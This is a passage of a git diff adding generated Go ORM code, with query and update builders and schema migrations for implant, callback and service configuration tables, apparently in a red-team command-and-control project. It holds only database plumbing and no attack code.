len(iscgb.fields)+len(iscgb.fns)) + for _, f := range iscgb.fields { + columns = append(columns, selector.C(f)) + } + columns = append(columns, aggregation...) + selector.Select(columns...) + } + return selector.GroupBy(selector.Columns(iscgb.fields...)...) +} + +// ImplantServiceConfigSelect is the builder for selecting fields of ImplantServiceConfig entities. +type ImplantServiceConfigSelect struct { + *ImplantServiceConfigQuery + // intermediate query (i.e. traversal path). + sql *sql.Selector +} + +// Scan applies the selector query and scans the result into the given value. +func (iscs *ImplantServiceConfigSelect) Scan(ctx context.Context, v interface{}) error { + if err := iscs.prepareQuery(ctx); err != nil { + return err + } + iscs.sql = iscs.ImplantServiceConfigQuery.sqlQuery(ctx) + return iscs.sqlScan(ctx, v) +} + +// ScanX is like Scan, but panics if an error occurs. +func (iscs *ImplantServiceConfigSelect) ScanX(ctx context.Context, v interface{}) { + if err := iscs.Scan(ctx, v); err != nil { + panic(err) + } +} + +// Strings returns list of strings from a selector. It is only allowed when selecting one field. +func (iscs *ImplantServiceConfigSelect) Strings(ctx context.Context) ([]string, error) { + if len(iscs.fields) > 1 { + return nil, errors.New("ent: ImplantServiceConfigSelect.Strings is not achievable when selecting more than 1 field") + } + var v []string + if err := iscs.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// StringsX is like Strings, but panics if an error occurs. +func (iscs *ImplantServiceConfigSelect) StringsX(ctx context.Context) []string { + v, err := iscs.Strings(ctx) + if err != nil { + panic(err) + } + return v +} + +// String returns a single string from a selector. It is only allowed when selecting one field. +func (iscs *ImplantServiceConfigSelect) String(ctx context.Context) (_ string, err error) { + var v []string + if v, err = iscs.Strings(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantserviceconfig.Label} + default: + err = fmt.Errorf("ent: ImplantServiceConfigSelect.Strings returned %d results when one was expected", len(v)) + } + return +} + +// StringX is like String, but panics if an error occurs. +func (iscs *ImplantServiceConfigSelect) StringX(ctx context.Context) string { + v, err := iscs.String(ctx) + if err != nil { + panic(err) + } + return v +} + +// Ints returns list of ints from a selector. It is only allowed when selecting one field. +func (iscs *ImplantServiceConfigSelect) Ints(ctx context.Context) ([]int, error) { + if len(iscs.fields) > 1 { + return nil, errors.New("ent: ImplantServiceConfigSelect.Ints is not achievable when selecting more than 1 field") + } + var v []int + if err := iscs.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// IntsX is like Ints, but panics if an error occurs. +func (iscs *ImplantServiceConfigSelect) IntsX(ctx context.Context) []int { + v, err := iscs.Ints(ctx) + if err != nil { + panic(err) + } + return v +} + +// Int returns a single int from a selector. It is only allowed when selecting one field. +func (iscs *ImplantServiceConfigSelect) Int(ctx context.Context) (_ int, err error) { + var v []int + if v, err = iscs.Ints(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantserviceconfig.Label} + default: + err = fmt.Errorf("ent: ImplantServiceConfigSelect.Ints returned %d results when one was expected", len(v)) + } + return +} + +// IntX is like Int, but panics if an error occurs. +func (iscs *ImplantServiceConfigSelect) IntX(ctx context.Context) int { + v, err := iscs.Int(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64s returns list of float64s from a selector. It is only allowed when selecting one field. +func (iscs *ImplantServiceConfigSelect) Float64s(ctx context.Context) ([]float64, error) { + if len(iscs.fields) > 1 { + return nil, errors.New("ent: ImplantServiceConfigSelect.Float64s is not achievable when selecting more than 1 field") + } + var v []float64 + if err := iscs.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// Float64sX is like Float64s, but panics if an error occurs. +func (iscs *ImplantServiceConfigSelect) Float64sX(ctx context.Context) []float64 { + v, err := iscs.Float64s(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64 returns a single float64 from a selector. It is only allowed when selecting one field. +func (iscs *ImplantServiceConfigSelect) Float64(ctx context.Context) (_ float64, err error) { + var v []float64 + if v, err = iscs.Float64s(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantserviceconfig.Label} + default: + err = fmt.Errorf("ent: ImplantServiceConfigSelect.Float64s returned %d results when one was expected", len(v)) + } + return +} + +// Float64X is like Float64, but panics if an error occurs. +func (iscs *ImplantServiceConfigSelect) Float64X(ctx context.Context) float64 { + v, err := iscs.Float64(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bools returns list of bools from a selector. It is only allowed when selecting one field. +func (iscs *ImplantServiceConfigSelect) Bools(ctx context.Context) ([]bool, error) { + if len(iscs.fields) > 1 { + return nil, errors.New("ent: ImplantServiceConfigSelect.Bools is not achievable when selecting more than 1 field") + } + var v []bool + if err := iscs.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// BoolsX is like Bools, but panics if an error occurs. +func (iscs *ImplantServiceConfigSelect) BoolsX(ctx context.Context) []bool { + v, err := iscs.Bools(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bool returns a single bool from a selector. It is only allowed when selecting one field. +func (iscs *ImplantServiceConfigSelect) Bool(ctx context.Context) (_ bool, err error) { + var v []bool + if v, err = iscs.Bools(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantserviceconfig.Label} + default: + err = fmt.Errorf("ent: ImplantServiceConfigSelect.Bools returned %d results when one was expected", len(v)) + } + return +} + +// BoolX is like Bool, but panics if an error occurs. +func (iscs *ImplantServiceConfigSelect) BoolX(ctx context.Context) bool { + v, err := iscs.Bool(ctx) + if err != nil { + panic(err) + } + return v +} + +func (iscs *ImplantServiceConfigSelect) sqlScan(ctx context.Context, v interface{}) error { + rows := &sql.Rows{} + query, args := iscs.sql.Query() + if err := iscs.driver.Query(ctx, query, args, rows); err != nil { + return err + } + defer rows.Close() + return sql.ScanSlice(rows, v) +} diff --git a/ent/implantserviceconfig_update.go b/ent/implantserviceconfig_update.go new file mode 100644 index 000000000..3d99a835e --- /dev/null +++ b/ent/implantserviceconfig_update.go @@ -0,0 +1,556 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" + "github.com/kcarretto/realm/ent/predicate" +) + +// ImplantServiceConfigUpdate is the builder for updating ImplantServiceConfig entities. +type ImplantServiceConfigUpdate struct { + config + hooks []Hook + mutation *ImplantServiceConfigMutation +} + +// Where appends a list predicates to the ImplantServiceConfigUpdate builder. +func (iscu *ImplantServiceConfigUpdate) Where(ps ...predicate.ImplantServiceConfig) *ImplantServiceConfigUpdate { + iscu.mutation.Where(ps...) + return iscu +} + +// SetName sets the "name" field. +func (iscu *ImplantServiceConfigUpdate) SetName(s string) *ImplantServiceConfigUpdate { + iscu.mutation.SetName(s) + return iscu +} + +// SetDescription sets the "description" field. +func (iscu *ImplantServiceConfigUpdate) SetDescription(s string) *ImplantServiceConfigUpdate { + iscu.mutation.SetDescription(s) + return iscu +} + +// SetNillableDescription sets the "description" field if the given value is not nil. +func (iscu *ImplantServiceConfigUpdate) SetNillableDescription(s *string) *ImplantServiceConfigUpdate { + if s != nil { + iscu.SetDescription(*s) + } + return iscu +} + +// SetExecutablePath sets the "executablePath" field. +func (iscu *ImplantServiceConfigUpdate) SetExecutablePath(s string) *ImplantServiceConfigUpdate { + iscu.mutation.SetExecutablePath(s) + return iscu +} + +// AddImplantConfigIDs adds the "implantConfigs" edge to the ImplantConfig entity by IDs. +func (iscu *ImplantServiceConfigUpdate) AddImplantConfigIDs(ids ...int) *ImplantServiceConfigUpdate { + iscu.mutation.AddImplantConfigIDs(ids...) + return iscu +} + +// AddImplantConfigs adds the "implantConfigs" edges to the ImplantConfig entity. +func (iscu *ImplantServiceConfigUpdate) AddImplantConfigs(i ...*ImplantConfig) *ImplantServiceConfigUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return iscu.AddImplantConfigIDs(ids...) +} + +// Mutation returns the ImplantServiceConfigMutation object of the builder. +func (iscu *ImplantServiceConfigUpdate) Mutation() *ImplantServiceConfigMutation { + return iscu.mutation +} + +// ClearImplantConfigs clears all "implantConfigs" edges to the ImplantConfig entity. +func (iscu *ImplantServiceConfigUpdate) ClearImplantConfigs() *ImplantServiceConfigUpdate { + iscu.mutation.ClearImplantConfigs() + return iscu +} + +// RemoveImplantConfigIDs removes the "implantConfigs" edge to ImplantConfig entities by IDs. +func (iscu *ImplantServiceConfigUpdate) RemoveImplantConfigIDs(ids ...int) *ImplantServiceConfigUpdate { + iscu.mutation.RemoveImplantConfigIDs(ids...) + return iscu +} + +// RemoveImplantConfigs removes "implantConfigs" edges to ImplantConfig entities. +func (iscu *ImplantServiceConfigUpdate) RemoveImplantConfigs(i ...*ImplantConfig) *ImplantServiceConfigUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return iscu.RemoveImplantConfigIDs(ids...) +} + +// Save executes the query and returns the number of nodes affected by the update operation. +func (iscu *ImplantServiceConfigUpdate) Save(ctx context.Context) (int, error) { + var ( + err error + affected int + ) + if len(iscu.hooks) == 0 { + if err = iscu.check(); err != nil { + return 0, err + } + affected, err = iscu.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantServiceConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = iscu.check(); err != nil { + return 0, err + } + iscu.mutation = mutation + affected, err = iscu.sqlSave(ctx) + mutation.done = true + return affected, err + }) + for i := len(iscu.hooks) - 1; i >= 0; i-- { + if iscu.hooks[i] == nil { + return 0, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = iscu.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, iscu.mutation); err != nil { + return 0, err + } + } + return affected, err +} + +// SaveX is like Save, but panics if an error occurs. +func (iscu *ImplantServiceConfigUpdate) SaveX(ctx context.Context) int { + affected, err := iscu.Save(ctx) + if err != nil { + panic(err) + } + return affected +} + +// Exec executes the query. +func (iscu *ImplantServiceConfigUpdate) Exec(ctx context.Context) error { + _, err := iscu.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iscu *ImplantServiceConfigUpdate) ExecX(ctx context.Context) { + if err := iscu.Exec(ctx); err != nil { + panic(err) + } +} + +// check runs all checks and user-defined validators on the builder. +func (iscu *ImplantServiceConfigUpdate) check() error { + if v, ok := iscu.mutation.Name(); ok { + if err := implantserviceconfig.NameValidator(v); err != nil { + return &ValidationError{Name: "name", err: fmt.Errorf(`ent: validator failed for field "ImplantServiceConfig.name": %w`, err)} + } + } + if v, ok := iscu.mutation.ExecutablePath(); ok { + if err := implantserviceconfig.ExecutablePathValidator(v); err != nil { + return &ValidationError{Name: "executablePath", err: fmt.Errorf(`ent: validator failed for field "ImplantServiceConfig.executablePath": %w`, err)} + } + } + return nil +} + +func (iscu *ImplantServiceConfigUpdate) sqlSave(ctx context.Context) (n int, err error) { + _spec := &sqlgraph.UpdateSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantserviceconfig.Table, + Columns: implantserviceconfig.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + } + if ps := iscu.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if value, ok := iscu.mutation.Name(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantserviceconfig.FieldName, + }) + } + if value, ok := iscu.mutation.Description(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantserviceconfig.FieldDescription, + }) + } + if value, ok := iscu.mutation.ExecutablePath(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantserviceconfig.FieldExecutablePath, + }) + } + if iscu.mutation.ImplantConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantserviceconfig.ImplantConfigsTable, + Columns: implantserviceconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iscu.mutation.RemovedImplantConfigsIDs(); len(nodes) > 0 && !iscu.mutation.ImplantConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantserviceconfig.ImplantConfigsTable, + Columns: implantserviceconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iscu.mutation.ImplantConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantserviceconfig.ImplantConfigsTable, + Columns: implantserviceconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if n, err = sqlgraph.UpdateNodes(ctx, iscu.driver, _spec); err != nil { + if _, ok := err.(*sqlgraph.NotFoundError); ok { + err = &NotFoundError{implantserviceconfig.Label} + } else if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return 0, err + } + return n, nil +} + +// ImplantServiceConfigUpdateOne is the builder for updating a single ImplantServiceConfig entity. +type ImplantServiceConfigUpdateOne struct { + config + fields []string + hooks []Hook + mutation *ImplantServiceConfigMutation +} + +// SetName sets the "name" field. +func (iscuo *ImplantServiceConfigUpdateOne) SetName(s string) *ImplantServiceConfigUpdateOne { + iscuo.mutation.SetName(s) + return iscuo +} + +// SetDescription sets the "description" field. +func (iscuo *ImplantServiceConfigUpdateOne) SetDescription(s string) *ImplantServiceConfigUpdateOne { + iscuo.mutation.SetDescription(s) + return iscuo +} + +// SetNillableDescription sets the "description" field if the given value is not nil. +func (iscuo *ImplantServiceConfigUpdateOne) SetNillableDescription(s *string) *ImplantServiceConfigUpdateOne { + if s != nil { + iscuo.SetDescription(*s) + } + return iscuo +} + +// SetExecutablePath sets the "executablePath" field. +func (iscuo *ImplantServiceConfigUpdateOne) SetExecutablePath(s string) *ImplantServiceConfigUpdateOne { + iscuo.mutation.SetExecutablePath(s) + return iscuo +} + +// AddImplantConfigIDs adds the "implantConfigs" edge to the ImplantConfig entity by IDs. +func (iscuo *ImplantServiceConfigUpdateOne) AddImplantConfigIDs(ids ...int) *ImplantServiceConfigUpdateOne { + iscuo.mutation.AddImplantConfigIDs(ids...) + return iscuo +} + +// AddImplantConfigs adds the "implantConfigs" edges to the ImplantConfig entity. +func (iscuo *ImplantServiceConfigUpdateOne) AddImplantConfigs(i ...*ImplantConfig) *ImplantServiceConfigUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return iscuo.AddImplantConfigIDs(ids...) +} + +// Mutation returns the ImplantServiceConfigMutation object of the builder. +func (iscuo *ImplantServiceConfigUpdateOne) Mutation() *ImplantServiceConfigMutation { + return iscuo.mutation +} + +// ClearImplantConfigs clears all "implantConfigs" edges to the ImplantConfig entity. +func (iscuo *ImplantServiceConfigUpdateOne) ClearImplantConfigs() *ImplantServiceConfigUpdateOne { + iscuo.mutation.ClearImplantConfigs() + return iscuo +} + +// RemoveImplantConfigIDs removes the "implantConfigs" edge to ImplantConfig entities by IDs. +func (iscuo *ImplantServiceConfigUpdateOne) RemoveImplantConfigIDs(ids ...int) *ImplantServiceConfigUpdateOne { + iscuo.mutation.RemoveImplantConfigIDs(ids...) + return iscuo +} + +// RemoveImplantConfigs removes "implantConfigs" edges to ImplantConfig entities. +func (iscuo *ImplantServiceConfigUpdateOne) RemoveImplantConfigs(i ...*ImplantConfig) *ImplantServiceConfigUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return iscuo.RemoveImplantConfigIDs(ids...) +} + +// Select allows selecting one or more fields (columns) of the returned entity. +// The default is selecting all fields defined in the entity schema. +func (iscuo *ImplantServiceConfigUpdateOne) Select(field string, fields ...string) *ImplantServiceConfigUpdateOne { + iscuo.fields = append([]string{field}, fields...) + return iscuo +} + +// Save executes the query and returns the updated ImplantServiceConfig entity. +func (iscuo *ImplantServiceConfigUpdateOne) Save(ctx context.Context) (*ImplantServiceConfig, error) { + var ( + err error + node *ImplantServiceConfig + ) + if len(iscuo.hooks) == 0 { + if err = iscuo.check(); err != nil { + return nil, err + } + node, err = iscuo.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantServiceConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = iscuo.check(); err != nil { + return nil, err + } + iscuo.mutation = mutation + node, err = iscuo.sqlSave(ctx) + mutation.done = true + return node, err + }) + for i := len(iscuo.hooks) - 1; i >= 0; i-- { + if iscuo.hooks[i] == nil { + return nil, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = iscuo.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, iscuo.mutation); err != nil { + return nil, err + } + } + return node, err +} + +// SaveX is like Save, but panics if an error occurs. +func (iscuo *ImplantServiceConfigUpdateOne) SaveX(ctx context.Context) *ImplantServiceConfig { + node, err := iscuo.Save(ctx) + if err != nil { + panic(err) + } + return node +} + +// Exec executes the query on the entity. +func (iscuo *ImplantServiceConfigUpdateOne) Exec(ctx context.Context) error { + _, err := iscuo.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iscuo *ImplantServiceConfigUpdateOne) ExecX(ctx context.Context) { + if err := iscuo.Exec(ctx); err != nil { + panic(err) + } +} + +// check runs all checks and user-defined validators on the builder. +func (iscuo *ImplantServiceConfigUpdateOne) check() error { + if v, ok := iscuo.mutation.Name(); ok { + if err := implantserviceconfig.NameValidator(v); err != nil { + return &ValidationError{Name: "name", err: fmt.Errorf(`ent: validator failed for field "ImplantServiceConfig.name": %w`, err)} + } + } + if v, ok := iscuo.mutation.ExecutablePath(); ok { + if err := implantserviceconfig.ExecutablePathValidator(v); err != nil { + return &ValidationError{Name: "executablePath", err: fmt.Errorf(`ent: validator failed for field "ImplantServiceConfig.executablePath": %w`, err)} + } + } + return nil +} + +func (iscuo *ImplantServiceConfigUpdateOne) sqlSave(ctx context.Context) (_node *ImplantServiceConfig, err error) { + _spec := &sqlgraph.UpdateSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantserviceconfig.Table, + Columns: implantserviceconfig.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + } + id, ok := iscuo.mutation.ID() + if !ok { + return nil, &ValidationError{Name: "id", err: errors.New(`ent: missing "ImplantServiceConfig.id" for update`)} + } + _spec.Node.ID.Value = id + if fields := iscuo.fields; len(fields) > 0 { + _spec.Node.Columns = make([]string, 0, len(fields)) + _spec.Node.Columns = append(_spec.Node.Columns, implantserviceconfig.FieldID) + for _, f := range fields { + if !implantserviceconfig.ValidColumn(f) { + return nil, &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} + } + if f != implantserviceconfig.FieldID { + _spec.Node.Columns = append(_spec.Node.Columns, f) + } + } + } + if ps := iscuo.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if value, ok := iscuo.mutation.Name(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantserviceconfig.FieldName, + }) + } + if value, ok := iscuo.mutation.Description(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantserviceconfig.FieldDescription, + }) + } + if value, ok := iscuo.mutation.ExecutablePath(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantserviceconfig.FieldExecutablePath, + }) + } + if iscuo.mutation.ImplantConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantserviceconfig.ImplantConfigsTable, + Columns: implantserviceconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iscuo.mutation.RemovedImplantConfigsIDs(); len(nodes) > 0 && !iscuo.mutation.ImplantConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantserviceconfig.ImplantConfigsTable, + Columns: implantserviceconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iscuo.mutation.ImplantConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantserviceconfig.ImplantConfigsTable, + Columns: implantserviceconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + _node = &ImplantServiceConfig{config: iscuo.config} + _spec.Assign = _node.assignValues + _spec.ScanValues = _node.scanValues + if err = sqlgraph.UpdateNode(ctx, iscuo.driver, _spec); err != nil { + if _, ok := err.(*sqlgraph.NotFoundError); ok { + err = &NotFoundError{implantserviceconfig.Label} + } else if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return nil, err + } + return _node, nil +} diff --git a/ent/migrate/schema.go b/ent/migrate/schema.go index 2d9457b91..0de4ae27e 100644 --- a/ent/migrate/schema.go +++ b/ent/migrate/schema.go @@ -46,6 +46,74 @@ var ( Columns: FilesColumns, PrimaryKey: []*schema.Column{FilesColumns[0]}, } + // ImplantsColumns holds the columns for the "implants" table. + ImplantsColumns = []*schema.Column{ + {Name: "id", Type: field.TypeInt, Increment: true}, + {Name: "session_id", Type: field.TypeString}, + {Name: "process_name", Type: field.TypeString, Nullable: true}, + {Name: "implant_target", Type: field.TypeInt, Nullable: true}, + {Name: "implant_config", Type: field.TypeInt, Nullable: true}, + } + // ImplantsTable holds the schema information for the "implants" table. + ImplantsTable = &schema.Table{ + Name: "implants", + Columns: ImplantsColumns, + PrimaryKey: []*schema.Column{ImplantsColumns[0]}, + ForeignKeys: []*schema.ForeignKey{ + { + Symbol: "implants_targets_target", + Columns: []*schema.Column{ImplantsColumns[3]}, + RefColumns: []*schema.Column{TargetsColumns[0]}, + OnDelete: schema.SetNull, + }, + { + Symbol: "implants_implant_configs_config", + Columns: []*schema.Column{ImplantsColumns[4]}, + RefColumns: []*schema.Column{ImplantConfigsColumns[0]}, + OnDelete: schema.SetNull, + }, + }, + } + // ImplantCallbackConfigsColumns holds the columns for the "implant_callback_configs" table. + ImplantCallbackConfigsColumns = []*schema.Column{ + {Name: "id", Type: field.TypeInt, Increment: true}, + {Name: "uri", Type: field.TypeString}, + {Name: "priority", Type: field.TypeInt, Default: 10}, + {Name: "timeout", Type: field.TypeInt, Default: 5}, + {Name: "interval", Type: field.TypeInt, Default: 60}, + {Name: "jitter", Type: field.TypeInt, Default: 0}, + } + // ImplantCallbackConfigsTable holds the schema information for the "implant_callback_configs" table. + ImplantCallbackConfigsTable = &schema.Table{ + Name: "implant_callback_configs", + Columns: ImplantCallbackConfigsColumns, + PrimaryKey: []*schema.Column{ImplantCallbackConfigsColumns[0]}, + } + // ImplantConfigsColumns holds the columns for the "implant_configs" table. + ImplantConfigsColumns = []*schema.Column{ + {Name: "id", Type: field.TypeInt, Increment: true}, + {Name: "name", Type: field.TypeString, Unique: true}, + {Name: "auth_token", Type: field.TypeString, Unique: true}, + } + // ImplantConfigsTable holds the schema information for the "implant_configs" table. + ImplantConfigsTable = &schema.Table{ + Name: "implant_configs", + Columns: ImplantConfigsColumns, + PrimaryKey: []*schema.Column{ImplantConfigsColumns[0]}, + } + // ImplantServiceConfigsColumns holds the columns for the "implant_service_configs" table. + ImplantServiceConfigsColumns = []*schema.Column{ + {Name: "id", Type: field.TypeInt, Increment: true}, + {Name: "name", Type: field.TypeString, Unique: true}, + {Name: "description", Type: field.TypeString, Default: "System Service"}, + {Name: "executable_path", Type: field.TypeString}, + } + // ImplantServiceConfigsTable holds the schema information for the "implant_service_configs" table. + ImplantServiceConfigsTable = &schema.Table{ + Name: "implant_service_configs", + Columns: ImplantServiceConfigsColumns, + PrimaryKey: []*schema.Column{ImplantServiceConfigsColumns[0]}, + } // TargetsColumns holds the columns for the "targets" table. TargetsColumns = []*schema.Column{ {Name: "id", Type: field.TypeInt, Increment: true}, @@ -58,14 +126,76 @@ var ( Columns: TargetsColumns, PrimaryKey: []*schema.Column{TargetsColumns[0]}, } + // ImplantConfigServiceConfigsColumns holds the columns for the "implant_config_serviceConfigs" table. + ImplantConfigServiceConfigsColumns = []*schema.Column{ + {Name: "implant_config_id", Type: field.TypeInt}, + {Name: "implant_service_config_id", Type: field.TypeInt}, + } + // ImplantConfigServiceConfigsTable holds the schema information for the "implant_config_serviceConfigs" table. + ImplantConfigServiceConfigsTable = &schema.Table{ + Name: "implant_config_serviceConfigs", + Columns: ImplantConfigServiceConfigsColumns, + PrimaryKey: []*schema.Column{ImplantConfigServiceConfigsColumns[0], ImplantConfigServiceConfigsColumns[1]}, + ForeignKeys: []*schema.ForeignKey{ + { + Symbol: "implant_config_serviceConfigs_implant_config_id", + Columns: []*schema.Column{ImplantConfigServiceConfigsColumns[0]}, + RefColumns: []*schema.Column{ImplantConfigsColumns[0]}, + OnDelete: schema.Cascade, + }, + { + Symbol: "implant_config_serviceConfigs_implant_service_config_id", + Columns: []*schema.Column{ImplantConfigServiceConfigsColumns[1]}, + RefColumns: []*schema.Column{ImplantServiceConfigsColumns[0]}, + OnDelete: schema.Cascade, + }, + }, + } + // ImplantConfigCallbackConfigsColumns holds the columns for the "implant_config_callbackConfigs" table. + ImplantConfigCallbackConfigsColumns = []*schema.Column{ + {Name: "implant_config_id", Type: field.TypeInt}, + {Name: "implant_callback_config_id", Type: field.TypeInt}, + } + // ImplantConfigCallbackConfigsTable holds the schema information for the "implant_config_callbackConfigs" table. + ImplantConfigCallbackConfigsTable = &schema.Table{ + Name: "implant_config_callbackConfigs", + Columns: ImplantConfigCallbackConfigsColumns, + PrimaryKey: []*schema.Column{ImplantConfigCallbackConfigsColumns[0], ImplantConfigCallbackConfigsColumns[1]}, + ForeignKeys: []*schema.ForeignKey{ + { + Symbol: "implant_config_callbackConfigs_implant_config_id", + Columns: []*schema.Column{ImplantConfigCallbackConfigsColumns[0]}, + RefColumns: []*schema.Column{ImplantConfigsColumns[0]}, + OnDelete: schema.Cascade, + }, + { + Symbol: "implant_config_callbackConfigs_implant_callback_config_id", + Columns: []*schema.Column{ImplantConfigCallbackConfigsColumns[1]}, + RefColumns: []*schema.Column{ImplantCallbackConfigsColumns[0]}, + OnDelete: schema.Cascade, + }, + }, + } // Tables holds all the tables in the schema. Tables = []*schema.Table{ CredentialsTable, FilesTable, + ImplantsTable, + ImplantCallbackConfigsTable, + ImplantConfigsTable, + ImplantServiceConfigsTable, TargetsTable, + ImplantConfigServiceConfigsTable, + ImplantConfigCallbackConfigsTable, } ) func init() { CredentialsTable.ForeignKeys[0].RefTable = TargetsTable + ImplantsTable.ForeignKeys[0].RefTable = TargetsTable + ImplantsTable.ForeignKeys[1].RefTable = ImplantConfigsTable + ImplantConfigServiceConfigsTable.ForeignKeys[0].RefTable = ImplantConfigsTable + ImplantConfigServiceConfigsTable.ForeignKeys[1].RefTable = ImplantServiceConfigsTable + ImplantConfigCallbackConfigsTable.ForeignKeys[0].RefTable = ImplantConfigsTable + ImplantConfigCallbackConfigsTable.ForeignKeys[1].RefTable = ImplantCallbackConfigsTable } diff --git a/ent/mutation.go b/ent/mutation.go index 510759538..8af0dd28b 100644 --- a/ent/mutation.go +++ b/ent/mutation.go @@ -11,6 +11,10 @@ import ( "github.com/kcarretto/realm/ent/credential" "github.com/kcarretto/realm/ent/file" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + 